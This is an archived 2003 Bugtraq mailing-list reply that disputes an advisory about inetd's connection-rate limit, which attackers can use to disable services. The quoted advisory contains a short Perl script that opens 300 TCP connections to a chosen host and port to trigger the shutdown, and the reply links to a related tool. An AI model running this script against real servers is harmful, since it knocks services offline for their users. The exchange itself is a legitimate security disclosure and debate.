Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: 11 years of inetd default insecurity?
From: Dagmar d'Surreal <dagmar.wants () nospam com>
Date: Sun, 07 Sep 2003 16:59:52 -0500

On Sat, 2003-09-06 at 09:08, 3APA3A wrote:
Dear bugtraq () securityfocus com,

Well,  we all blame Microsoft in insecure default configuration... Isn't
it time to clean outdated code in Unix?

I. Intro

Saint_Byte reported DoS vulnerability in wu-ftp. Small perl script (like
one  below) kills ftp service... With closer look we have good old inetd
feature   a  lot  of  existing  FreeBSD/linux  installations  are  still
vulnerable.  This  problem  is  known  since  ancient  time  [1] and was
discussed  again  and again, but still present. In fact, problem is well
known.  It's  just  another  rake everyone steps to. It's on any man and
FAQ, but may be it's time to resolve it? Because it's definitely a BUG.

This is not a bug, it is merely very coarse resource control.  You have
two choices...  Allow only a certain number of connections to the port,
or allow an *infinite* number of connections to the port.  I don't know
about your systems, but mine tend to get a little boggy when processing
an infinite number of connection requests.

II. Who is vulnerable

Any system shipped with network daemons launched through inetd (FreeBSD,
SuSE, Red Hat, etc.).

III. Details

Inetd has an option

     -R rate
             Specify the maximum number of times a service can be invoked in 
             one minute; the default is 256.  A rate of 0 allows an unlimited
             number of invocations.

The  problem  is,  remote attacker can establish as much connections per
minute  as  bandwidth allows... Now, guess how inetd reacts if more than
256 connections received in one minute? It will disable service for next
10   minutes   to  help attack to succeed. Of cause, this is documented.
Interval is not configurable.

No, you miss the point.  The service is disabled to prevent it from
eating you out of house and home so to speak.  In any case, this only
restricts the number of connections per minute... total number of
connections over several minutes is another matter entirely.

something like

Jul 23 15:27:10 host inetd[86]: ftp/tcp server failing (looping), service terminated

will  appear  in  logs...  If  connection  is  closed by attacker before
service actually starts, IP address of attacker will never be logged.

Yep.  More stuff that has entirely to do with how one's stack works and
very little to do with inetd.  Send a packet with both SYN and FIN set
and you get this exact behaviour... little doughnut shaped memory
structures with a hole in the middle from the already-disposed-of socket
where the IP address should be.

IV. Workaround

-R 0 -s your_ad_can_be_here

I see...  So you feel it's better to simply dare an attacker to try to
invoke three hundred bajillion copies of say, fingerd.  How novel.  I
can only hope the majority on the list realize why following your
suggestion is very bad.

Most people prefer to simply not use inetd for anything that is supposed
to withstand an assault, or to use xinetd instead because of it's
improved ability to limit the connections... er... be easily DoS'd.

or ask everyone to do not bother your server.

V. inetd-DoS-by-default-11-years-anniversary-super-exploit.pl
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
#!/usr/bin/perl

use Socket;
$host= () ARGV[0];
$port= () ARGV[1];
if ($host eq "" || $port eq "") {print "\n Usage progname HOST PORT \n";}
$iadr=inet_aton($host);
$padr=sockaddr_in($port,$iadr);
for($i=0; $i < 300; $i++)
{
 socket(SOCK,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
 connect(SOCK,$padr) or next;
 close(SOCK);
}
print "\nDone\n";
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Octopus, something you surely should have heard about by now.
http://24.234.57.173/p3/octopus.c

VI. References:

[1]Ari Luotonen, "www/tcp server failing (looping), service terminated"
http://www.webhistory.org/www.lists/www-talk.1993q4/0312.html

References:

Google web search engine, "Good for avoiding embarrasment"
http://www.google.com
-- 
The email address above is just as phony as it looks, and for obvious reasons.
Instant messaging contact nfo: AIM: evilDagmar  Jabber: evilDagmar () jabber org


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]